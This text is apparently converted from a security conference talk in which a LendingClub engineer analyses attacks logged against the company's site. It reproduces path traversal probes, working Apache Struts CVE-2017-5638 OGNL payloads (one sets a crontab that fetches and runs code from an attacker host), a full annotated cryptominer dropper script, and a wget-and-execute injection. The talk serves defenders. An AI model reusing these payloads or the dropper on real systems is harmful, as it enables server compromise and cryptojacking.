



**SwiftOnSecurity**

@SwiftOnSecurity

Following



What you think security is: Picking the best post-quantum TLS cipher suites  
What security actually is: Making sure none of your production FTP passwords are the name of a vegetable

1:19 PM - 5 Mar 2018

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615 Retweets 1,676 Likes



60

615

1.7K



\$ whoami

- Benjamin Hering
  - Security DevOps Engineer at LendingClub

## What I'm talking about

- Sharing with the community some of the threats we see
- General attacks “Doorknockers”
- Specific attacks targeted to LendingClub
- Simple takeaways to increase attack cost

Three questions:

Can I see it?

Can I throw  
away  
garbage?

Can I make  
it more  
expensive  
for  
attackers?

# Door Knockers

- Not targeting us specifically
- Hits anyone with an IPv4 address
- Just checking
- If the “door is locked” just move on

# Hong Kong



A large orange square containing the text "Hello World!" in white, sans-serif font.

# Hello World!

```
<!DOCTYPE HTML>
<html>
<body>
<p>Before the script...</p>
<script>
    alert( 'Hello, world!' );
</script>
<p>...After the script.</p>
</body>
</html>
```



A Hacker's  
Hello  
World!

```
$ cat /etc/passwd
```

# A Hacker's Hello World!

```
$ cat /etc/passwd
```

```
root:x:0:0:root-hostname:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/
shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...
```

9:01:30 am

```
GET /sdk/../../../../../../../../etc/passwd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
X-Akamai-CONFIG-LOG-DETAIL: true
TE: chunked;q=1.0
Connection: TE
Accept-Encoding: gzip
Akamai-Origin-Hop: 1
Via: 1.1 akamai.net(ghost) (AkamaiGHost)
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https
```

9:01:31 am

```
GET /?page=../../../../../../../../etc/passwd%00.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
X-Akamai-CONFIG-LOG-DETAIL: true
TE: chunked;q=1.0
Connection: TE
Accept-Encoding: gzip
Akamai-Origin-Hop: 1
Via: 1.1 akamai.net(ghost) (AkamaiGHost)
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https
```

9:48 am

```
GET /util/barcode.php?type=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: /*
X-Akamai-CONFIG-LOG-DETAIL: true
TE: chunked;q=1.0
Connection: TE
Accept-Encoding: gzip
Akamai-Origin-Hop: 1
Via: 1.1 akamai.net(ghost) (AkamaiGHost)
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https
```

There's no PHP on  
www.lendingclub.com

10:51:48 am

```
POST /business/?u=../../../../../../../../etc/
passwd&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC HTTP/1.1
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://www.lendingclub.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https

loanAmount=1&loanPurpose=DEBT_CONSOLIDATION
```

10:51:51 am

```
POST /business/?u=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC HTTP/1.1
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://www.lendingclub.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https
loanAmount=1&loanPurpose=DEBT_CONsolidation
```

%252F is a twice url encoded /

10:51:54 am

```
POST /business/?u=../../../../../../../../etc/
passwd%00.jpg&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC HTTP/1.1
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://www.lendingclub.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https

loanAmount=1&loanPurpose=DEBT_CONSOLIDATION
```

10:51:55 am

```
POST /business/?u=12345'"\\\";|]*%00{%-0d%0a<%00>%bf%27'💩  
&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC HTTP/1.1  
Content-Length: 43  
Content-Type: application/x-www-form-urlencoded  
Referer: https://www.lendingclub.com/  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/  
41.0.2228.0 Safari/537.21  
Accept: */*  
XOLCIPV: <attacker ip>  
Host: www.lendingclub.com  
Pragma: no-cache  
Cache-Control: no-cache, max-age=0  
X-FORWARDED-FOR: <attacker ip>  
X-FORWARDED-PROTO: https  
  
loanAmount=1&loanPurpose=DEBT_CONsolidation
```

Not a typo. That is the poop emoji in the URL.

10:51:56 am

```
POST /business/?  
u=%252fetc%252fpasswd&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC HTTP/1.1  
Content-Length: 43  
Content-Type: application/x-www-form-urlencoded  
Referer: https://www.lendingclub.com/  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)  
Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
XOLCIPV: <attacker ip>  
Host: www.lendingclub.com  
Pragma: no-cache  
Cache-Control: no-cache, max-age=0  
X-FORWARDED-FOR: <attacker ip>  
X-FORWARDED-PROTO: https  
  
loanAmount=1&loanPurpose=DEBT_CONSOLIDATION
```

10:52:01 am

```
POST /business/?u=invalid../../../../etc/passwd
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Referer: https://www.lendingclub.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
XOLCIP: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https

loanAmount=1&loanPurpose=DEBT_CONsolidation
&utm_campaign=pl_top_nav&utm_medium=link&utm_source=LC_HTP/1.1
```

If at first you  
don't  
succeed...

- 34,406 blocked requests
- 7809 variations of “/etc/passwd”
- Hit us 109,926 times after getting blacklisted
- On average ~8 blocks per second
- 11:19:28 am blocked 93 requests

## Same 3 questions

### Visible:


Make sure I can see the velocity of blocks

### Garbage:

1, 5 or even 10 blocks for an IP *might* be legitimate.  
34,000? **Garbage!**

### Expensive:

Our blacklist behave similar to a WAF block.  
Makes WAF bypass iteration a bit more confusing



# Croatia

Germany

Belgium

Luxembourg

Frankfurt

Mannheim

Nuremberg

Czechia

Slovakia

Austria

Hungary

Switzerland

Liechtenstein

Croatia

Pula

Latitude: 44.8683 Longitude: 13.8481

IP: [REDACTED]

[Open in Google Earth \(.kmz\)](#)

Croatia

Bosnia and Herzegovina

Se

Italy

Monaco

Cannes

Marseille

Nimes

Grenoble

Turin

Genoa

Pisa

Florence

Bologna

Zadar

Venice

Padua

Verona

Genoa

Geneva

Lyon

Turin

Milan

Turin

Genoa

Geneva

Lyon

Grenoble

Nimes

Marseille

Cannes

Zadar

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Marseille

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
**CVE-2017-5638**

# That Apache Struts bug used to hack Equifax

# Apache What Bug?


- Apache Struts had an issue with multipart upload parser.
- Doesn't matter if you weren't actually uploading files.
- Issue comes from bad error handling of the content type or similar headers
- Straight up remote code execution

I want to send you a file



I want to send you a file

Okay, what kind of file?



I want to send you a file

Okay, what kind of file?

Content-Type: image/jpeg



I want to send you a file

Content-Type: image/jpeg

Okay, what kind of file?

Oh, a picture! I know what  
to do with that!



I want to send you a file

Content-Type: image/jpeg

Content-Type: video/mp4

Okay, what kind of file?

Oh, a picture! I know what  
to do with that!



I want to send you a file

Content-Type: image/jpeg

Content-Type: video/mp4

Okay, what kind of file?

Oh, a picture! I know what  
to do with that!

A movie! I know what to  
do with that!



I want to send you a file

Content-Type: image/jpeg


Content-Type: video/mp4

Content-Type: pizza/pepperoni

Okay, what kind of file?

Oh, a picture! I know what  
to do with that!

A movie! I know what to  
do with that!



I want to send you a file

Content-Type: image/jpeg

Content-Type: video/mp4

Content-Type: pizza/pepperoni

Okay, what kind of file?


Oh, a picture! I know what  
to do with that!

A movie! I know what to  
do with that!

Error! I don't know what a  
“pizza” is. I can't take this!




I want to send you a file



I want to send you a file


Okay, what kind of file?



I want to send you a file

Okay, what kind of file?

Content-Type: (#cmd='cat /  
etc/passwd')




I want to send you a file

Content-Type: (#cmd='cat /  
etc/passwd')

Okay, what kind of file?

Error! I don't know what a  
“(#cmd='cat /etc/passwd')“ is




I want to send you a file

Content-Type: (#cmd='cat /  
etc/passwd')

Okay, what kind of file?

Error! I don't know what a  
“(#cmd='cat /etc/passwd')“ is

...



I want to send you a file


Content-Type: (#cmd='cat /  
etc/passwd')

Okay, what kind of file?

Error! I don't know what a  
“(#cmd='cat /etc/passwd')“ is

...

```
$ cat /etc/passwd
root:x:0:0:root-hostname:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
...
```



# Sweden

```
GET /public/transparency.action HTTP/1.1
Accept: */*
User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn)
Content-Type: %{(#_='multipart/form-data')}.
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))).
(#cmd='ifconfig').
(#iswin=('@java.lang.System@getProperty('os.name').toLowerCase().contains('wi
n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=('@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()').
('@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush()))
Via: 1.1 akamai.net(ghost) (AkamaigHost)
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
X-FORWARDED-FOR: <attacker ip>
X-FORWARDED-PROTO: https
```


Sweden

GET /public/transparency.action HTTP/1.1  
Accept: \*/\*

**User-Agent: struts-pwn (<https://github.com/mazen160/struts-pwn>)**

Content-Type: %{(#\_='multipart/form-data').  
(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#\_memberAccess?  
(#\_memberAccess=#dm):  
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).  
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).  
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))).  
**(#cmd='ifconfig').**  
(#iswin=('@java.lang.System@getProperty('os.name').toLowerCase().contains('wi  
n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new  
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).  
(#process=#p.start()).  
(#ros=('@org.apache.struts2.ServletActionContext@getResponse().getOutputStream')).  
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).  
(#ros.flush())}  
Via: 1.1 akamai.net(ghost) (AkamaiGHost)  
XOLCIPV: <attacker ip>  
Host: www.lendingclub.com  
Pragma: no-cache  
Cache-Control: no-cache, max-age=0  
X-FORWARDED-FOR: <attacker ip>  
X-FORWARDED-PROTO: https

# Struts is status quo



Source: <https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>

## Croatia

```
GET /public/how-peer-lending-works.action HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Content-Type: %{{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']
).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil
@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='echo */20 * * * * wget -O - -q
http://<attacker infrastructure ip>/icons/logo.jpg|sh
*/19 * * * * curl http://<attacker infrastructure ip>/icons/logo.jpg|sh"
| crontab -;wget -O - -q http://<attacker infrastructure ip>/icons/
logo.jpg|sh').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains
('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-'
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush()))
X-Akamai-CONFIG-LOG-DETAIL: true
XOLCIPV: <attacker ip>
Host: www.lendingclub.com
Pragma: no-cache
Cache-Control: no-cache, max-age=0
```

## Croatia

```
GET /public/how-peer-lending-works.action HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Content-Type: %{{(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']
).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil
@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='echo /*/20 * *
* * wget -O - -q http://<attacker
infrastructure ip>/icons/logo.jpg|sh
*/19 * * * * curl http://<attacker infrastructure ip>/icons/logo.jpg|sh"
| crontab -;wget -O - -q http://<attacker infrastructure ip>/
icons/logo.jpg|sh').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains
('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-'
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()
)).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush()))
X-Akamai-CONFIG-LOG-DETAIL: true
```

# Surprise! Not an image

```
$ wget http://<attacker infrastructure ip>/icons/logo.jpg

#!/bin/sh
rm -rf /var/tmp/bmsnxvpqgm.conf
ps auxf|grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\.\/"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpqgm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "rszxzlwtfi" -e "rmmkiqaiik" -e
"ezxjivqgud" -e "ompoeftbugs"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://<attacker 2nd infra ip>/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://<attacker 2nd infra ip>/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker
wget -O /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker
else
curl -o /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker_na
wget -O /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(((proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi
```

# My color commentary

```
#!/bin/sh

# Cleanup From Previous Runs
# Remove previous version's config file
rm -rf /var/tmp/bmsnxvpggm.conf

# Kill any processes related to previous runs or other people with similar attack
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9

# Make sure that the process I want to start isn't already running
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "rszxzlwtfi" -e "rmmmkiqaiik" -e
"ezxjivqgud" -e "ompoeffbugs"|grep -v grep

# If the process isn't running, then:
if [ $? -ne 0 ]
```

# My color commentary

```
# If the process isn't running, then:  
if [ $? -ne 0 ]  
then  
    echo "start process....."  
  
# Make and download the config file  
chmod 777 /var/tmp/trtgsasefd.conf  
rm -rf /var/tmp/trtgsasefd.conf  
  
# Use both curl and wget in case one of them isn't installed  
curl -o /var/tmp/trtgsasefd.conf http://<attacker 2nd infra ip>/icons/kworker.conf  
wget -O /var/tmp/trtgsasefd.conf http://<attacker 2nd infra ip>/icons/kworker.conf  
  
# Make a fake atd (at daemon) placeholder for the binary  
# atd is used for cronjob-like scheduling of jobs  
chmod 777 /var/tmp/atd  
rm -rf /var/tmp/atd  
  
# Removing a previous version's fake binary?  
# More suspicious to have SSH take a bunch of CPU cycles  
rm -rf /var/tmp/sshd
```

## kworker.conf?

```
{  
    "url" : "stratum+tcp://<3rd IP address>:80",  
    "user" :  
    "  
49mQCzeCsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivA  
B5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt"  
,  
    "pass" : "x",  
    "algo" : "cryptonight",  
    "quiet" : true  
}
```

## kworker.conf?

```
{  
    "url" : "stratum+tcp://<3rd IP address>:80",  
    "user" :  
    "  
49mQCzeCsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivA  
B5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt"  
,  
    "pass" : "x",  
    "algo" : "cryptonight",  
    "quiet" : true  
}
```

## 3<sup>rd</sup> IP address?

pool.minexmr.com online id [REDACTED]

# kworker.conf?

```
{  
    "url" : "stratum+tcp://<3rd IP address>:80",  
    "user" :  
        "  
49mQCze...  
B5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt"  
,  
    "pass" : "x",  
    "algo" : "cryptonight",  
    "quiet" : true  
}
```

# 3<sup>rd</sup> IP address?

pool.minexmr.com online id [REDACTED]

# Minexmr.com?

The screenshot shows the mineXMR.com website. At the top, there is a navigation bar with links for Home, Get Started, Worker Stats, and Pool. Below the navigation, a banner states "Fast and Reliable PPLNS Monero Mining Pool". A blue header box titled "Key Pool Features" lists several mining pool benefits: Multiple mining servers, PPLNS payment method, Keepalive support, Direct to exchange mining, Firewall Passthrough, DDOS Protection, Monitoring of each rig, Payments, Custom Payment Threshold, Custom Difficulty, and Hashrate history.

mineXMR.com

Home Get Started Worker Stats Pool

Fast and Reliable PPLNS Monero Mining Pool

Key Pool Features

- Multiple mining servers and daemons for stability
- PPLNS payment method for best profit
- Keepalive support for less disconnections
- Direct to exchange mining, min payment of 5XMR
- Firewall Passthrough use ports 443 or 80 if others blocked
- DDOS Protection reducing downtime
- Monitoring of each rig add .workerID to username
- Payments: Once every 24h. No extra fees imposed.
- Custom Payment Threshold For standard wallets - min 0.5XMR
- Custom Difficulty: append +DIFF to address
- Hashrate history: easily keep track of your hashrate

## BitCoin

- Crypto Currency
- “Mined” by computational power
- Public blockchain of transactions
- Best run on GPU or ASIC  
CPU mining isn’t worthwhile

## Monero

- Crypto Currency
- “Mined” by computational power
- Obfuscates the blockchain
- Can mine meaningfully on general purpose CPUs
- Eg, Coinhive which mines through embedded JavaScript as an advertising alternative
- See TextHelp’s Browesaloud
  - <https:// KrebsOnSecurity.com/2018/03/who-and-what-is-coinhive/>

# Check for the AES instruction set in the CPU

```
# Check the processor information for AES instruction set
cat /proc/cpuinfo|grep aes>/dev/null

# If it has the the AES instruction set
if [ $? -ne 1 ]
then
    # Download this AES mining binary. Both curl and wget again.
    curl -o /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker
    wget -O /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker
else
    # If not, download this less efficient miner. Both curl and wget again.
    curl -o /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker_na
    wget -O /var/tmp/atd http://<attacker 2nd infra ip>/icons/kworker_na
fi
```

# And then run my fake atd miner

```
# Make sure the fake atd mining binary is executable
chmod +x /var/tmp/atd
cd /var/tmp

# Check how many processors the CPU has
proc=`grep -c ^processor /proc/cpuinfo` 

# Take a bit more than 50% of the cores
cores=$((($proc+1)/2))

# And have them mine to make me money
nohup ./atd -c trtgasesfd.conf -t `echo $cores` >/dev/null &

else

    # If that check for running processes at the very beginning is true
    # Just have the running process keep making me money
    echo "runing....."
fi
```

## In short

- Kill processes related to earlier version or other possible Monero miners
- Download config file for a Monero miner (to pay to a particular wallet)
- Check the encryption abilities of the CPU
- Download the right Monero miner binary for the CPU architecture
- Name it similar to normal heavy CPU process in Linux
- Run the Monero miner using slightly more than half the CPU cores
- If this machine was already compromised, keep the existing process

# Visible? Garbage? Expensive?

- Do you have a WAF?
  - Is it tuned?
  - Is it in blocking mode?
  - Is it getting regular signature updates?
- Slight increases in cost still impact attackers
  - Your users all set the HTTP host header, have a user-agent that starts with "Mozilla" etc. Even basic filters drop garbage.
- Crypto currencies have increased incentives to poke at everything
  - There was a whole lot of garbage before this, now it's even more profitable.

## HTTP Host Header – Attackers do it

```
GET /public/how-peer-lending-works.action HTTP/1.1  
Accept: */*  
User-Agent: Mozilla/5.0  
Host: www.lendingclub.com
```

## HTTP Host Header – Googlebot does it

```
GET /investing/investor-education HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)
Host: www.lendingclub.com
```

## HTTP Host Header – Even curl does it!

```
$ curl -v http://www.lendingclub.com/
*   Trying 23.220.189.135...
* TCP_NODELAY set
* Connected to www.lendingclub.com (23.220.189.135) port
80 (#0)
> GET / HTTP/1.1
> Host: www.lendingclub.com
> User-Agent: curl/7.58.0
> Accept: */*
```

## RFC 2616 – 14.23

This [Host Header] allows the origin server or gateway to differentiate between internally-ambiguous URLs, such as the root "/" URL of a server for multiple host names on a single IP address. ...

A client MUST include a Host header field in all HTTP/1.1 request messages. ... All Internet-based HTTP/1.1 servers MUST respond with a 400 (Bad Request) status code to any HTTP/1.1 request message which lacks a Host header field.

<https://www.ietf.org/rfc/rfc2616.txt>

## RFC 2616 – 19.6.1.1

Given the rate of growth of the Web, and the number of servers already deployed, it is extremely important that all implementations of HTTP (including updates to existing HTTP/1.0 applications) correctly implement these requirements:

- Both clients and servers **MUST** support the Host request-header.
- A client that sends an HTTP/1.1 request **MUST** send a Host header.
- Servers **MUST** report a 400 (Bad Request) error if an HTTP/1.1 request does not include a Host request-header.

<https://www.ietf.org/rfc/rfc2616.txt>

## RFC 2616 – 19.6.1.1

Older HTTP/1.0 clients assumed a one-to-one relationship of IP addresses and servers; there was no other established mechanism for distinguishing the intended server of a request than the IP address to which that request was directed. The changes outlined above will allow the Internet, once older HTTP clients are no longer common, to support multiple Web sites from a single IP address, greatly simplifying large operational Web servers, where allocation of many IP addresses to a single host has created serious problems.

**In June 1999!**

<https://www.ietf.org/rfc/rfc2616.txt>

# What?

```
GET / HTTP/1.0
Host: 0.0.0.0
Accept: text/plain
Accept: text/html
Accept: */*
User-Agent: Mozilla/2.0 compatible
Cache-Control: no-cache
Pragma: no-cache
X-Forwarded-For: <attacker IP>
```

# Searched Bing? For Amazon? And got PHP that doesn't exist?

```
GET /phpmyadmin/scripts/setup.php HTTP/1.1
Host: 165.193.232.29
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; .NET4.0E; InfoPath.2)
X-Matrix-Proxy: direct
Referer: http://www.bing.com/search?q=amazon
Accept-Encoding: gzip, deflate
X-FORWARDED-FOR: <attacker IP>
X-FORWARDED-PROTO: https
```

## No. Just No.

```
GET /cools.php?id=wget -O dada.x86_64 http://<attacker  
ip>:5317/dada.x86_64;chmod 775 dada.x86_64;./dada.x86_64  
HTTP/1.1  
Host: 165.193.232.225  
Connection: keep-alive  
Accept-Encoding: gzip, deflate  
Accept: */*  
User-Agent: python-requests/2.18.4  
X-Forwarded-For: <attacker IP>
```

# No. Just No.

```
GET /cools.php?id=wget -O dada.x86_64 http://<attacker  
ip>:5317/dada.x86_64;chmod 775 dada.x86_64;./dada.x86_64  
HTTP/1.1
```

Host: 165.193.232.225

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: \*/\*

User-Agent: python-requests/2.18.4

X-Forwarded-For: <attacker IP>

## 服务器错误

404 - 找不到文件或目录。

您要查找的资源可能已被删除，已更改名称或者暂时不可用。

# Thanks Other Security Researchers!

It's another Monero Miner!

```
debian@debian64:~$ cd xmrig-2.4.4/
debian@debian64:~/xmrig-2.4.4$ ./xmrig
* VERSIONS: XMRig/2.4.4 libuv/1.8.0 gcc/7.1.0
* HUGE PAGES: available, disabled
* CPU: Intel(R) Core(TM) i7-5600U CPU @ 2.60GHz (1) x64 AES-NI
* CPU L2/L3: 0.2 MB/4.0 MB
* THREADS: 1, cryptonight, av=1, donate=5%
* POOL #1: [REDACTED]
* COMMANDS: hashrate, pause, resume
[2018-03-15 15:13:57] use pool [REDACTED]
[2018-03-15 15:13:57] new job from [REDACTED] diff 20000
```

“The final payload (*dada.x86\_64* as of 01/28/2018, earlier named as *xig* or *nkrb*) is a modified XMRig miner.”

“The attackers mined approximately 320 XMR or about \$74,677 (as of March 21, 2018) based on the two wallets. Note that this is only a small portion of the profit for this entire campaign.”

<https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-distributed-via-php-weathermap-vulnerability-targets-linux-servers/>

# Visible? Garbage? Expensive?


- Do you have a WAF?
  - Is it tuned?
  - Is it in blocking mode?
  - Is it getting regular signature updates?
- Slight increases in cost still impact attackers
  - Your users all set the HTTP host header, have a user-agent that starts with "Mozilla" etc. Even basic filters drop garbage.
- Crypto currencies have increased incentives to poke at everything
  - There was a whole lot of garbage before this, now it's even more profitable.

Examples of what's targeting LendingClub

# Spear Phishing On LC Employees

- Targeted emails prompting for logins
- Harvesting credentials
- Gaining footholds

# Spear Phishing On LC Employees



# Spear Phishing On LC Employees

The screenshot illustrates a spear-phishing attempt against Microsoft Office 365. A user is presented with a standard sign-in interface. An arrow points from the bottom right towards the password input field. Below the browser window, the developer tools are visible, displaying the HTML code for the 'TitleDocsRequest.html' page. The code includes various form elements such as 'usernameInput', 'passwordInput', and 'submitButton'.

```
153<div id="contentWrapper" class="float">
154  <div id="content">
155    <div id="header">
